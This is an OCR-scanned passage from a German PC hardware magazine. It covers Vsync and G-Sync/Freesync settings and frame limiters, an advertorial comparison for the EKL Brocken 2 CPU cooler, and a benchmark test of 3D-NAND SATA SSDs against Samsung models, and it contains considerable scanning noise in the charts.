tionellen (Triple-Buffer-)Vsync. Es 
funktioniert ebenfalls mit drei Puf- 
ferspeichern, mit dem Unterschied 
zu Vsync, dass die GPU so viele 
Frames berechnen kann, wie sie es 
zu leisten vermag. Nur werden die 
zu früh fertigen Frames, die sich 
im Vsync-off-Zustand in den noch 
nicht abgeschlossenen Scan des 
Monitors dazwischendrängen wür- 
den (und somit für Bildrisse sorgen 
würden), einfach verworfen. Beim 
nächsten Scan kommt der nächste 
Frame aus dem Front Buffer dran. 
Das soll Bildrisse und Input Lag 
gleichermaßen reduzieren, jedoch 
nicht vollständig eliminieren, wie 
es etwa „Vsync off“ mit dem Input 
Lag oder G- bzw. Freesync und 
Vsync mit den Bildrissen machen. 
Die Ergebnisse im Diagramm links 
zeigen, dass die dynamische Bild- 
wiederholrate die bessere Technik 
ist, da sie über einen niedrigeren 
Input Lag verfügt und Bildrisse 
komplett Enhanced- 
und Fastsync funktionieren zwar 


eliminiert. 


wie Vsync auch mit jedem Moni- 
tor, eine Alternative ist die Technik 
aber nur bei Frameraten, die die 
Bildwiederholrate um ein Vielfa- 
ches übersteigt. Sie lohnt sich etwa 
für 60-Hz-Monitore. Im Gegensatz 
zum treiberseitigen Vsync, lohnt 
es sich auch nicht, die Technik mit 
Free- oder G-Sync zu kombinieren. 


Nvidia Inspector ,laggt" 

Wie schon erwähnt, ist meist ein 
zusátzliches Frame Limit erfor- 
derlich, damit sich die Bildrate in- 
nerhalb des Intervalls der dynami- 
schen Bildwiederholrate bewegt. 
Nur AMD bietet in den Treiberein- 
stellungen diese Móglichkeit. Man- 
che Spiele, wie etwa Overwatch 
oder Counter Strike, haben eine 
entsprechende Funktion in den 
Grafikeinstellungen bzw. per Kon- 
solenbefehl. Für alle anderen Spiele 
ohne Frame Limit ist ein externes 
Tool nótig. Für Geforce-Grafikkar- 
ten ist der Nvidia Inspector (NVI) 
beliebt. GPU-herstellerunabhängig 
arbeitet etwa der máchtige MSI Af- 
terburner. Mit ihm kommt der Riva 
Tuner Statistics Server (RTSS), der 
neben einem praktischen Overlay 
mit Statistiken auch für jedes Spiel 
individuelle Frame Limits bietet. Da 


nicht jedes Spiel über einen eige- 
nen Frame Limiter verfügt, haben 
die Blurbusters auch die Auswir- 
kungen der externen Tools auf den 
Input Lag untersucht. Spieleigene 
Frame Limiter setzen an der Spiele- 
Engine an, während die externen 
Tools das Limit weitaus später im 
Renderprozess setzen müssen. Die 
„interne“ Lösung arbeitet verzöge- 
rungsfrei, da diese Stellschraube 
direkt an der Quelle sitzt. 


RTSS schraubt auf CPU-Ebene, 
der in den Messungen von Blur- 
busters einen Frame Verzögerung 
hinzufügt. NVI dreht an den Stell- 
schrauben des Treibers, er ist der 
Limiter mit dem größten Input Lag 
über zwei zusätzliche Frames. Das 
tritt übrigens unabhängig von der 
verwendeten Synchronisation auf 
- egal ob Vsync, „off“ oder G-Sync, 
das Ergebnis ist stets gleich. 


Die ideale G-Sync-/Free- 
sync-Einstellung ... 

. gibt es nicht. Da jedes System und 
jedes Spiel anders funktioniert, ist 
eigenes Ausprobieren für die zuge- 
schnittene Lösung unerlässlich. Als 
Basiskonfiguration können wir uns 
der Empfehlung von Blurbusters 
anschließen: 


I Vsync im Treiber (Nvidia Control 
Panel, Radeon Crimson) AN, im 
Spiel alles dergleichen AUS 

P Im Spiel Vollbildmodus AN (гаһ- 
menloses Fenster wird zwar un- 
terstützt, kann aber Probleme 
verursachen) 

I Frame Limit im Spiel begrenzen: 
auf Bildwiederholrate minus drei. 
Gibt es kein internes Limit, lieber 
den RTSS statt den NVI verwen- 


den. (mc) 
Fazit Нагйшаге 
Feintuning ... 


. muss jeder selbst vornehmen. Die 
richtigen Einstellungen sind abhängig 
von Hardware (PC und Monitor) und 
Software (Spiele). Wer dem aktivierten 
Vsync nicht traut, kann hier mit und 
ohne etwas herumexperimentieren. 
Tools wie Afterburner oder Fraps 
zeichnen die Frametimes auf, wodurch 
Schwächen des Systems identifiziert 
werden können. Die Messungen von 
Blurbusters zeigen auch, dass der Input 
Lag von G-Sync gegenüber „Vsync off" 
vernachlässigbar gering ist. 
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ANZEIGE 


EKL Brocken 2 


PCGH-Edition 


Den Brocken 2 gibt es jetzt 
auch als PCGH-Edition mit 
zwei 140-mm-Lüftern. Durch 
das neue Kühlkonzept ist der 
Brocken 2 nahezu lautlos und 
perfekt für Silent-PCs. 


Info: Den Brocken 2 gibt es auch als PCGH-Edition mit zwei anstatt einem Lüfter. 


VERGLEICH 


Produkt 


Webseite 


EKL Alpenföhn Brocken 2 
PCGH-Edition 


www.pcgh.de/brocken2 


EKL Alpenföhn Brocken 2 
Standard-Edition 
www.alpenfóhn.de 


Lüfteranzahl 


2 x 140-mm-Lüfter 


1 x 140-mm-Lüfter 


Lüfterdrehzahl 


700 U/Min. 


1.100 U/Min. 


Abmessungen Lüfter 


140 mm x 140 mm x 26 mm 


140 mm x 140 mm x 26 mm 


Anschluss 


3-Pin-Stecker 


4-Pin-Stecker (PWM) 


Zubehör 


Wärmeleitpaste 


Wärmeleitpaste 


Sockelunterstützung AMD 


AM2(+), AM3(+), FM1 


AM2(+), AM3(+), FM1 


Sockelunterstützung Intel 


115x, 2011-v3, 1366, 775 


115x, 2011-v3, 1366, 775 


Maße (BxTxH) 


155 х 122 x 172 mm 


155 x 100 x 172 mm 


* Testsystem: PCGH-Extreme-PC Skylake-Edition (i7-6700K), Prime 95 sorgte für 100 Prozent Last 


Gewicht inkl. Lüfter 1.025 g 849 g 
Haltemechanismus Verschraubung Verschraubung 
Halterung Querbalken Vormontiert und fixiert Beiliegend 
Lüfterentkoppler Vormontiert Beiliegend 
Test-Spannung 12 Volt 12 Volt 
Lautheit (Sone) 0,5 m 0,1 Sone 1,1 Sone 
Schalldruck (dB(A)) 0,5 m 19 dB(A) 29 dB(A) 
CPU-Temperatur Core 1* 80 °C 77°C 
CPU-Temperatur Core 2* 80 °C 77°C 
CPU-Temperatur Core 3* 79°C 76°C 
CPU-Temperatur Core 4* 81°C 79°C 


© 2 nahezu lautlose Lüfter 
© Kühler vormontiert 
© Hohes Gewicht 


© Sehr gute Kühlung 
© Aufwendige Montage 
© Hörbarer Lüfter bei 12 Volt 


PCGH-Edition 
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E Wasserkühlung ist Ihnen zu teuer und vor allem zu laut? Dann könnte 


der neue Brocken 2 PCGH-Edition einen Blick wert sein. Keine Kompro- 


misse sind wir beim Geräuschpegel eingegangen, denn wir wollten einen 


Kühler auf den Markt bringen, der beim Thema Lautheit von unserem Mess- 


gerät nicht mehr erfasst werden kann. In unserem schallisolierten Raum 


zeigt unser NC10-Gerät eine Grundlautstärke von 0,1 Sone an und dieser 


Wert wird sogar beibehalten, wenn sich ein Brocken 2 PCGH-Edition mit 


zwei rotierenden Lüftern (12 Volt) im Raum 
befindet. Um praxisnahe Testmethoden 
herzustellen, haben wir den Kühler in ei- 
nem geschlossenen Komplettsystem ge- 
testet. Die CPU-Temperatur der vier Kerne 
betrug dabei zwischen 79 und 81 Grad 
Celsius. Der Standard-Brocken kommt 
auf 76 bis 79 Grad Celsius, ist aber mit 1,1 
Sone auch elfmal so ,laut“ wie die PCGH- 
Edition (0,1 Sone). (dw) 
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INFRASTRUKTUR | Test: 3D-Flash-SSDs 


Hochstapelspeicher 


Mit ihrem V-NAND hàngte Samsung die gesamte Flashspeicher-Konkurrenz ab. Die holt nun auf und 


blàst zum Angriff mit dem 64-lagigen 3D-NAND. Wir vergleichen ihn mit Samsungs Evergreens. 


an stelle sich eine Stadt vor, 

die nur aus einstöckigen Häu- 
sern besteht. Wenn mehr Wohn- 
raum gebraucht wird, weil die Be- 
völkerung wächst, werden einfach 
Bungalows gebaut, zumindest so- 
lange noch Fläche vorhanden ist. 
Eine andere Stadt, nennen wir sie 
Samsung, hat vorsorglich begon- 
nen, Wolkenkratzer zu bauen, da- 
mit die Stadt erst gar nicht Gefahr 
läuft, aus allen Nähten zu platzen. 
Diese Bauweise ist nicht unbedingt 
besser, aber effizienter, und erlaubt 
wegen der vertikalen ,Stapelung* 
an Raum eine höhere Kapazität. 
Nicht etwa weil es schon an Platz 
mangelt, sondern wegen der Vor- 
teile beginnt nun die Bungalow- 
Stadt, ebenfalls Hochhäuser zu 
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bauen, die mittlerweile aber höher 
sind. So in etwa sieht die Entwick- 
lung der Flash-Speicherchips von 
SSDs aus. Bereits 2015 ist Samsung 
von der planaren auf die vertikale 
Bauweise umgestiegen. Anstatt die 
Chips immer breiter zu bauen, ha- 
ben die Koreaner die Zellschichten 
in die Höhe gestapelt, was Samsung 
dann V-NAND, also Vertical NAND, 
nennt. Diese Bauweise ist nicht 
neu, aber Samsung waren die ers- 
ten. Die anderen großen Konkur- 
renten in der Flashspeicherfer- 
tigung sind zwei Joint Ventures, 
eines aus Toshiba und Sandisk, das 
andere aus Intel und Micron. Beide 
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bezeichnen die Hochstapelung der 
Flash-Zellen 3D-NAND. Im letzten 
Jahr begannen die Hersteller, ihre 
Produktionsstätten von 2D auf 
3D umzurüsten. Dabei konnte der 
gleichzeitig wachsende Bedarf an 
Flash-Chips nicht mehr gedeckt 
werden, sodass der langsame, aber 
stetige Sinkflug der SSD- bzw. Flash- 
speicherpreise im Herbst letzten 
Jahres sein Ende fand und der Preis 
pro Gigabyte wieder deutlich stieg. 
Seit Mitte dieses Jahres sind die 
SSD-Preise wieder einigermaßen 
stabil, aber noch immer kann die 
aktuelle Nachfrage an Flash-Chips 
nicht gedeckt werden. 
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Speicherdichte wächst 
weiter 

Die aktuelle Marktlage bremst zwar 
etwas die technische Entwicklung, 
ganz still steht sie aber dennoch 
nicht: Während Samsung weiterhin 
den 48-lagigen V-NAND in Cash 
Cows wie der 850 Evo verbaut, 
schmeißt die Konkurrenz die ers- 
ten SSDs mit dem 64-lagigen 3D- 
NAND auf den Markt - welche wir 
hier testen möchten. Nahezu zeit- 
gleich kündigen Toshiba und Wes- 
tern Digital, Mutterkonzern von 
Sandisk, Chips mit 96 Schichten an. 
Samsung fertigt zwar auch schon 
ihre vierte Generation an V-NAND 
mit 64 Lagen, bislang kommt die 
aber nur in OEM-Modellen und 
der externen SSD T5 zum Einsatz. 
Was SATA-6-GBit-SSDs angeht, so 
lohnt sich eine Neuauflage weder 
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Bild: Intel, Pixabay 
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für Samsung noch für den Nutzer, 
da sie im Preis-Leistungs-Verhältnis 
noch immer das Maß aller Dinge 
ist. Wegen ihres Evergreen-Status 
vergleichen wir sie mit den neu er- 
schienenen Modellen der anderen 
Hersteller. 


Was die Leistung angeht, so reizen 
SSDs schon lange das 6-GBit-Limit 
des SATA-Standards nahezu voll- 
stándig aus. Mit dem aktuellen 3D- 
NAND werden lediglich in synthe- 
tischen Benchmarks noch einige 
wenige MB/s herausgewrungen, 
die der Nutzer in der Praxis fak- 
tisch nicht spürt. Im Lesen und 
Schreiben sollen sie außerdem ei- 
nige Milliwatt an Stromverbrauch 
einsparen - auch dieser Vorteil 
bewegt sich auf homóopatischem 
Niveau. 


Samsung SSD 960 Pro: Wie viel 
schneller ist das aktuelle Top-Modell 
wirklich? Lassen wir die 960 Pro ge- 
gen eine Reihe von 2,5-Zoll-SSDs an- 
treten, kommt das einem Vergleich 
eines Porsches mit einem Volkswa- 
gen gleich. Wir haben sie bewusst 
wegen der zahlreichen Praxistests 
auf den kommenden Seiten her- 
genommen, um zu zeigen, wie 
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groß der Unterschied zum aktuell 
besten Modell in alltäglichen An- 
wendungen wirklich ist. Was die 
Leistung angeht, so werden oft die 
sequenziellen Lese- und Schreibra- 
ten der Datenblätter herangezo- 
gen. Bei der 960 Pro beläuft sich 
die sequenzielle Leserate auf bis zu 
3.500 MB/s, während die von SATA- 
SSDs nur um die 500 MB/s liegt. 
Das gaukelt dem Laien vor, dass das 
Top-Modell ja um das Siebenfache 
schneller wäre. Bestenfalls drei Mal 
so schnell ist eine NVME-SSD aus 
der PCI-Express-Oberklasse, wenn 
es um das Hin- und Herschaufeln 
großer Datenmengen geht. In der 
Praxis eines Laufwerks sind aber 
andere Aufgaben häufiger. Meist 
sind es Lesezugriffe aus Programm- 
starts oder das Schreiben kleinerer 
Dateien. Hier ist der Vorsprung oft 
nur einige Sekunden einer 960 Pro 
gegenüber SATA-SSDs, der den dop- 
pelt so hohen Gigabytepreis für 
preis-leistungs-bewusste Anwen- 
der nicht wettmacht. Es ist aber 
nicht nur die Effektivität, die eine 
SSD ausmacht: Die 960 Pro bietet 
etwa haltbarere MLC-Chips, wäh- 
rend günstige auf TLC basieren, 
und außderdem fünf statt den übli- 
chen drei Jahren Garantie. 


Vier Terabyte und trotzdem noch Platz im Gehäuse: Samsung bestückt die 850 Evo 
mit dem V-NAND-Chips beidseitig. 


20-*V680- 05-16. 


Kart: Terrel 


Die Platinen der WD Blue 3D und der Sandisk Ultra 3D sind identisch. Sie nutzen die 
gesamte Fläche im 2,5-Zoll-Gehäuse. 
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„Bis zu”-Bestwerte 


in synthetischen Zugriffen 


AS SSD: Sequenzielle Lese- und 


Samsung SSD 960 Pro (512 GB/PCle, M.2 
Crucial BX300 (240 GB 

Samsung SSD 850 Evo (500 GB 

Sandisk Sandisk Ultra 3D (1.000 GB GB 
Crucial BX300 (480 GB 

Western Digital WD Blue 3D (1.000 GB 
Toshiba OCZ TR200 (480 GB 


Schreibraten 


pear 2.247 (+330 %) 
ll 523 (Basis) 

ШШ 514 (-2 96) 

gl 507 (-3 96) 

Euri 506 (-3 96) 


System: Core i7-4790K @ 4,00 GHz (Strom: 
8 GiByte DDR3-2133, Intel RST 13.6" Bemei 
Benchmarks ist der Unterschied zwischen SA 


ШЕШЕбЇ!| 492 (-6 %) 

al 487 (-7 96) 
sparfunktionen aus), Asrock 797 Extreme 6, MB/s 
rkungen: Nur in praxisfernen synthetischen Schill Lesen 
A- und NVME-SSDs so massiv. » Besser 


Stromverbrauch: KI 


einvieh macht kaum Mist 


Verbrauch (Lesen) 
Samsung SSD 960 Pro (512 GB. 
Crucial BX300 (240 GB 
Crucial BX300 (480 GB 
Western Digital WD Blue 3D (1.000 GB 
Sandisk Sandisk Ultra 3D (1.000 GB 
Toshiba OCZ TR200 (480 GB 
Samsung SSD 850 Evo (500 GB 


Verbrauch (Schreiben) 


Samsung SSD 960 Pro (512 GB 
Toshiba OCZ TR200 (480 GB 

Western Digital WD Blue 3D (1.000 GB 
Sandisk Sandisk Ultra 3D (1.000 GB 
Samsung SSD 850 Evo (500 GB 

Crucial BX300 (240 GB 

Crucial BX300 (480 GB 


pu 1,0 (-50 96) 
wawww] FFF 2 О (0 %) 

Kw ñj (Basis) 
pm 2,0 (0 90) 
E о (0 30) 
Gw 2,0 (0 %) 
m 2,2 (+10 90) 


N 2,3 (-57 96) 

pw: 1,5 (-50 96) 
ННН 1 8 (40 %) 
EN 1 8 (-40 %) 
=G=w——sss) ? (-27 %) 
mwssOoPs— Ñ о (0 90) 
KmÓÚ=m———<—ss 3 0 (Basis) 


System: Core i7-4790K @ 4,00 GHz (Strom 
8 GiByte DDR3-2133, Intel RST 13.6” Beme 
Modelle etwas genügsamer als die Samsung 


sparfunktionen aus), Asrock Z97 Extreme 6, 
rkungen: Im Stromverbrauch sind die neuen 
850 Evo. 


Watt 
< Besser 


In der Praxis: Worauf es wirklich ankommt 


2.500 Bilder skalieren 


Crucial BX300 (240 GB 

Crucial BX300 (480 GB 

Samsung SSD 960 Pro (512 GB 
Western Digital WD Blue 3D (1.000 GB 
Sandisk Sandisk Ultra 3D (1.000 GB 
Samsung SSD 850 Evo (500 GB 
Toshiba OCZ TR200 (480 GB 


50.000 Dateien kopieren (10 GB) 


Samsung SSD 960 Pro (512 GB 
Samsung SSD 850 Evo (500 GB 

Crucial BX300 (480 GB 

Western Digital WD Blue 3D (1.000 GB 
Sandisk Sandisk Ultra 3D (1.000 GB GB 
Crucial BX300 (240 GB 

Toshiba OCZ TR200 (480 GB 

Spiel installieren (Oil Rush, 680 


Samsung SSD 960 Pro (512 GB 
Samsung SSD 850 Evo (500 GB 

Crucial BX300 (480 GB 

Sandisk Sandisk Ultra 3D (1.000 GB 
Western Digital WD Blue 3D (1.000 GB 
Crucial BX300 (240 GB 

Toshiba OCZ TR200 (480 GB 


pu 258 (-0 96) 
[aO J1D] 258 (-0 %) 
У (Basis) 
pm 200 (+0 %) 
Ew 0 (+0 90) 

с 268 (+3 90) 
EN 333 (+29 %) 


P 38 (Basis) 

pw 67 (+76 %) 
milli 92 (+142 %) 
Ew 93 (+ 145 %) 
Nw 94 (+147 %) 
mG 97 (+155 %) 
132 («247 %) 
MB) 

34 (Basis) 
34 (+1 %) 
34 (+1 %) 
34 (+1 %) 
35 («2 90) 
s 36 (+7 96) 


System: Core i7-4790K @ 4,00 GHz (Strom: 
8 GiByte DDR3-2133, Intel RST 13.6" Bemei 


Mengen kann eine PCI-E-SSD punkten. Ansonsten ist der Unterschied nicht spürbar. 


pu 39 (+14 %) 
sparfunktionen aus), Asrock 297 Extreme 6, 
rkungen: Lediglich im Kopieren groBer Sekunden 
` Besser 
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Samsung SSD 850 Evo: Alle Neuen 
müssen sich an der Preis-Leistungs- 
Legende messen. Es erscheint lo- 
gisch, seit zwei Jahren kein neues 
SATA-Modell auf den Markt zu 
bringen: Sowohl technisch als 
auch wirtschaftlich führt Samsung 
den SSD-Markt an. Seit 2015 sind 
die 850er Modelle Evo und Pro 
nicht minder aktuell und erfreu- 
en sich bester Verfügbarkeit. Die 
Produktklasse der SATA-SSDs lässt 
sich grob in drei Unterklassen 
einteilen: Da gibt es die möglichst 
günstigen Einsteigermodelle, die 
für anspruchslose Office-Rechner 
absolut ausreichen. Wer nur ge- 
ringfügig mehr pro Gigabyte zahlt, 
bekommt mit der Preis-Leistungs- 
Mittelklasse deutlich schnellere Da- 
tenraten. Hierbei dürfte es sich um 
die größte und wichtigste Unter- 
klasse handeln. Dann gibt es noch 
deutlich teurere Oberklassemodel- 
le, die zwar nicht unbedingt deut- 
lich schneller sind, sich dafür aber 
durch gute Verarbeitung, etwas (!) 
längere Haltbarkeit aufgrund von 
МІС-Сһірѕ und längere Garantie 
auszeichnen. Die PCI-E-SSDs las- 
sen sich genauso unterteilen und 
auch dort besetzt Samsung mit den 
960ern die beiden oberen Unterka- 
tegorien. 


Crucial BX300: Gute Leistung und 
haltbarer MLC-Speicher. Eigentlich 
handelt es sich um die BX-Serie 
um Einsteigermodelle, da die MX- 
Serie mit TLC-Flash 
tuelles Standardmodell darstellt. 
Während eine BX200 damals noch 
enttäuschte und weder mit einem 


Crucials ak- 


niedrigen Preis noch mit guter 
Leistung brillieren Konnte, über- 
rascht nun der Nachfolger BX300 
mit passablen Datenraten und 
MLC-Flash. Zur Leistung einer 850 
Evo fehlt nicht viel, preislich ist 
die BX300 in etwa gleichauf und 
kommt außerdem mit einer kosten- 
losen Lizenz der Backup-Software 
Acronis True Image. Auch in den 
Praxis-Benchmarks von PCMark 8 
schneidet sie im Vergleich gut ab 
und positioniert sich damit in der 
guten Preis-Leistungs-Mittelklasse. 
Einziger Haken der BX300 ist aktu- 
ell die Verfügbarkeit: Im September 
auf dem Markt erschienen, ist sie 
Mitte Oktober noch immer aus- 
schließlich auf Amazon verfügbar. 
Außerdem ist sie nur in Kapazitä- 
ten von 120 GB, 240 GB und 480 
GB erhältlich. 


WD Blue 3D/Sandisk Ultra 3D: 3D- 
NAND-Neuauflage der guten alten 
Sandisk Ultra 11. Es ist kein Ge- 
heimnis, dass der Festplattenriese 
Western Digital letztes Jahr San- 
disk aufgekauft hat, um auf dem 
Flashspeichermarkt mitmischen 
zu kónnen. Bei der nun etwa ein 
Jahr alten WD Blue handelt es sich 
um eine umettiketierte Sandisk Ul- 
tra II. - ein bewährtes, gutes Preis- 
Leistungs-Modell mit 2D-TLC-Flash. 
Die gleiche SSD ist also unter zwei 
verschiedenen Bezeichnungen und 
Marken zu finden - so auch die 
jetzt erschienene Neuauflage mit 
3D-TLC-Flash. Vom 2D-Vorgänger 
unterscheidet sie sich nicht nur mit 
einer höheren Speicherdichte, so- 
dass sie jetzt auch in der Kapazität 
über 1 TiByte erhältlich ist. Auch 
die Leistung ist geringfügig besser, 
wie unsere eigenen drei Praxis- 
benchmarks bestätigen. Deutlicher 
ist der Effizienvorsprung: Während 
wir bei der WD Blue im Lesen und 
Schreiben noch 2,5 bzw. 3,0 Watt 
gemessen haben, sind es nun 2,0 
bzw 1,8 Watt. 


Toshiba TR200: Hohe Kapazität in 
der Einsteigerklasse. Lange war ein 
günstiger Gigabytepreis lediglich 
bei SSDs bis etwa 500 GB vorhan- 
den. Mit der nun möglichen Spei- 
cherdichte möchte Toshiba mit der 
TR200 eine relativ günstige SSD bis 
960 GB bieten. Im Datenblatt lesen 
sich die Datenraten mit stets über 
500 MB/s noch recht passabel, ihre 
Schwächen offenbart die TR200 
aber letztlich in den Praxisbench- 
marks, wo sie teils deutlich abge- 
schlagen das Schlusslicht bildet. Sie 
eignet sich daher lediglich für an- 
spruchslose Office-Anwendungen 
und Rechner, bei denen es nur auf 


(mc) 


Fazit Нагйшаге 


Nicht effektiver, aber effizienter 
Wie bei Magnetfestplatten auch, 
wachsen die Datenraten von SATA- 
6-GBit/s-SSDs nur noch geringfügig 
an. Umso deutlicher wird an der Effi- 
zienzschraube gedreht, sodass neue 
Modelle mit 3D-NAND im Betrieb auch 
etwas weniger Strom schlucken. Bei 
einem Desktop-Rechner fällt das zwar 
nicht ins Gewicht, für die Akkulaufzeit 
von Notebooks aber sind auch diese 
Krümelbeträge nicht unwesentlich. 
Jetzt müssen SSDs nur noch wieder 
günstiger werden. 


den Preis ankommt. 
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PCMark 8 Storage v2: SSD-Leistung in der Praxis 


n den Datenblättern von SSDs 
N oft nur die sequenziellen 
Transferraten genannt, da hier die 
Bestwerte erreicht werden. Meist 
handelt es sich um unkomprimier- 
te Daten, mit denen ein SSD-Cont- 
roller besser zurechtkommt. In der 
Praxis sind aber viele Daten bereits 
komprimiert. Das sind nicht etwa 
nur gepackte Zip-Archive, sondern 
auch beispielsweise Jpeg-Bilddatei- 
en, die nahezu immer komprimiert 
sind. Den Herstellern sei zugute ge- 
halten, dass immerhin oft das Test- 
system und das Benchmark Tool 
transparent kommuniziert wird. 


In den sogenannten synthetischen 
Benchmarks werden stets gleiche 
Zugriffsmuster angewendet, die 
so in der Praxis so gut wie nie vor- 
kommen. Ihre praktische Aussage- 
kraft ist daher äußerst gering und 
sie sind ein schlechter Indikator 
für die Leistungsbewertung. Unser 
Bewertungsschema beinhaltet des- 
wegen drei praktische Szenarien: 
die Skalierung von 2.500 Bilddatei- 
en per Irfanview, das Kopieren von 
50.000 Dateien, die insgesamt 10 
GB fassen, sowie die Installations- 
dauer eines 680 MB kleinen Spiels. 
PCMark 8 bietet mit dem Storage 


Benchmark einen Parcours zehn 
weitere solcher praktischen Szena- 
rien. Neben den Ladezeiten zweier 
Spiele bestehen sie aus Befehlsket- 
ten in Anwendungen der Microsoft 
Office Suite sowie der Adobe Crea- 
tive Cloud. Wir vergleichen die von 
PCMark ermittelten Zeiten - sie 
entsprechen dem geometrischen 
Mittelwert aus allen Einzelschritten 
eines jeden Szenarios. Jede dieser 
Befehlsketten wird im Benchmark- 
parcours drei Mal durchlaufen. Die 
Ergebnisse stellen wir hier separat 
vor - sie sind also nicht in unser 
Wertungssystem integriert, da an- 


sonsten die Vergleichbarkeit mit 
früher getesteten Modellen verlo- 
ren geht. Da ältere SSD, wie etwa 
die Samsung 850 Evo, noch immer 
relevant sind, lassen wir unser Be- 
wertungsschema für die Testnoten 
vorerst unangetastet. Gleiches gilt 
für unser Testsystem, das sich seit 
einigen Jahren nicht geändert hat 
und dessen Hardware nicht mehr 
der aktuellen Generation ent- 
spricht. Unser Intel Core i7 4790 
ist ein Quadcore der Haswell-Archi- 
tektur und bietet noch immer eine 
zeitgemäße Leistung. Noch gibt es 
keinen Grund, ihn auszutauschen. 


Ladezeiten: World of Warcraft 


World of Warcraft ist ein Spiel aus dem letzten Jahrzehnt. Seine Ladezeiten fallen 
daher moderat aus. Wer deralt alte Spiele zockt, dem dürfte die SSD-Leistung 
nahezu egal sein, da hier die Leistungsunterschiede kaum zur Geltung kommen. 
Unterschiede dürften nur zwischen SSD und HDD spürbar sein. Im Storage Bench- 
mark misst PCMark 8 die Ladezeit vom Starten des Spieles über den Login bis hin 
zur Steuerung des Charakters. Dabei werden insgesamt 390 MB gelesen und 5 MB 
geschrieben. 


World of Warcraft v2 


Samsung SSD 960 Pro (512 GB) EX 57,0 (Basis) 
Western Digital WD Blue 3D (1.000 GB) == 58,2 (+2 96) 
Crucial BX300 (480 GB) Eu 58,5 (+3 96) 

Sandisk Sandisk Ultra 3D (1.000 GB GB) Eu 58,5 (+3 96) 
Crucial BX300 (240 GB) == 59,2 (+4 96) 
Toshiba OCZ TR200 (480 GB) Iu 59,3 (+4 96) 


Sekunden - Besser 


Bemerkungen: In den Ladezeiten unterscheiden sich aktuelle SSDs kaum. Für schwáchere Spielerechner 
ist eine PCI-Express-SSD herausgeschmissenes Geld. 


Photoshop: Fotos bearbeiten 


Im weniger aufwendigeren Szenario mit Adobe Photoshop wird das Programm ge- 
öffnet, und eine Stapelverarbeitung mit 14 Bildern vorgenommen. Die Bilder sind 
zwischen 3,9 und 17,6 MB groß. Es handelt sich dabei um einfache Änderungen, 
wie etwa Farbtöne ändern, einer Maske Schatten hinzufügen oder Auflösung 
skalieren. Im Gegensatz zu den Ladezeiten sind hier erste spürbare Unterschiede 
in der Dauer festzustellen. Die 480-GB-Version der Crucial BX300 ist merklich 
schneller als die mit geringerer Kapazität, da sie über mehrere Flash-Chips verfügt. 


Sekunden - Besser 


Adobe Photoshop light v2 
Samsung SSD 960 Pro (512 СВ) Eu 109,4 (Basis) 
Crucial BX300 (480 GB) m 113,6 (+4 96) 
Western Digital WD Blue 3D (1.000 GB) aaa 113,6 (+4 90) 
Sandisk Sandisk Ultra 3D (1.000 СВ GB) E 113,6 (+4 %) 
Toshiba OCZ TR200 (480 GB) Ew 121,4 (+11 90) 
Crucial BX300 (240 GB) E 121,9 (+11 96) 


Bemerkungen: In der einfachen Bildbearbeitung ist der Unterschied von der Mittelklasse zur Unterklasse 
größer als der zur Oberklasse. Wer nicht mit Hunderten an MB jongliert, ist mit SATA-SSDs bestens bedient. 
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Ladezeiten: Battlefield 3 


Noch nicht ganz so alt, aber auch nicht mehr ganz frisch ist Battlefield 3 aus dem 
Jahr 2011. An den Ergebnissen wird deutlich, dass der Unterschied zwischen den 
Modellen relativ gering ist, aber relevanter wird, je länger das Laden dauert. Die 
fünf Sekunden zwischen dem Nonplusultra 960 Pro und dem Low-Budget-Modell 
TR200 beweisen, dass die Ladezeiten eines Spieles kein Grund sind, zur teureren 
SSD zu greifen. PCMark 8 misst auch hier wieder den kompletten Ladevorgang 
inkl. Login, liest dabei 887 MB und schreibt 28 MB. 


Battlefield 3 v2 


Samsung SSD 960 Pro (512 GB) 8 131 (Basis) 
Sandisk Sandisk Ultra 3D (1.000 GB GB) Em 133,2 («2 %) 
Western Digital WD Blue 3D (1.000 GB) Em 133,3 (+2 96) 

Crucial BX300 (480 GB) uama 133,4 (+2 %) 
Toshiba OCZ TR200 (480 GB) m 136,1 (+4 96) 
Crucial BX300 (240 GB) | 136,5 (+4 %) 


Sekunden = Besser 


Bemerkungen: Die Unterschiede zwischen den SSDs sind prozentual dieselben wie die im WoW-Lade- 
zeiten-Benchmark. Eine 960 Pro bietet hier nur einen Vorsprung von wenigen Sekunden. 


Photoshop: Aufwendiges Poster 


Im anspruchsvollem Photoshop-Szenario wird der Ablauf, eine Fotodatei für einen 
Posterdruck aufzubereiten, simuliert. Ein hochauflósendes Foto wird zunächst 
hochskaliert, bevor mit mehreren Ebenen einige Effekte hinzugefügt werden, wie 
etwa stellenweise Unschárfe oder eine Linsenspiegelung. Die PSD-Datei wächst 
dabei von 113 MB auf 1320 MB an. Je größer die geschriebenen Datenmengen, 
umso größer ist der Unterschied zwischen den SSDs. Die langsameren SATA-SSDs 
brauchen fast zwei Minuten mehr für dieselben Befehle. 


Sekunden < Besser 


Adobe Photoshop heavy v2 


Samsung SSD 960 Pro (512 GB) Eu 349,7 (Basis) 
Crucial BX300 (480 GB) Es 362,6 (+4 96) 
Sandisk Sandisk Ultra 3D (1.000 GB GB) Eu 368,1 (+5 %) 
Western Digital WD Blue 3D (1.000 GB) EX 368,2 (+5 96) 
Toshiba OCZ TR200 (480 GB) Ew 465,3 (4.33 96) 
Crucial BX300 (240 GB) | 465,7 (+33 96) 


Bemerkungen: Ein anspruchsvolles Projekt kann allein mehrere GB schreiben. Hier knicken die günstigen 
SSDs ein und brauchen deutlich länger als die der anderen Leistungsklassen. 
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Indesign: Leichtes Layouten 


Mit dem Layoutprogramm InDesign, ebenfalls aus der Adobe Creative Cloud, bear- 
beitet PCMark im Benchmark ein 40-seitiges Dokument. Dabei werden Platzhalter 
mit Texten gefüllt, 42 Bilder platziert und skaliert. Das InDesign-Dokument hat 
dabei eine AusgangsgróBe von 385 MB und schrumpft dabei auf 378 MB mit dem 
Abspeichern. Das daraus exportierte PDF-Dokument ist 64,7 MB groB. Die etwas 
schnelleren SATA-SSDs sind dabei паһег an der Samsung 960 Pro dran als an den 
Low-End-SSDs. 


Adobe InDesign v2 Sekunden < Besser 


Samsung SSD 960 Pro (512 GB) wi 55,2 (Basis) 

Crucial BX300 (480 GB) Vo 57,3 (+4 %) 

Western Digital WD Blue 3D (1.000 GB) a 57,6 (+4 %) 
Sandisk Sandisk Ultra 3D (1.000 GB) EX 57,6 (+4 %) 

Toshiba OCZ TR200 (480 GB) EX 63,5 (+15 96) 

Crucial BX300 (240 GB) Em 63,8 (+16 96) 


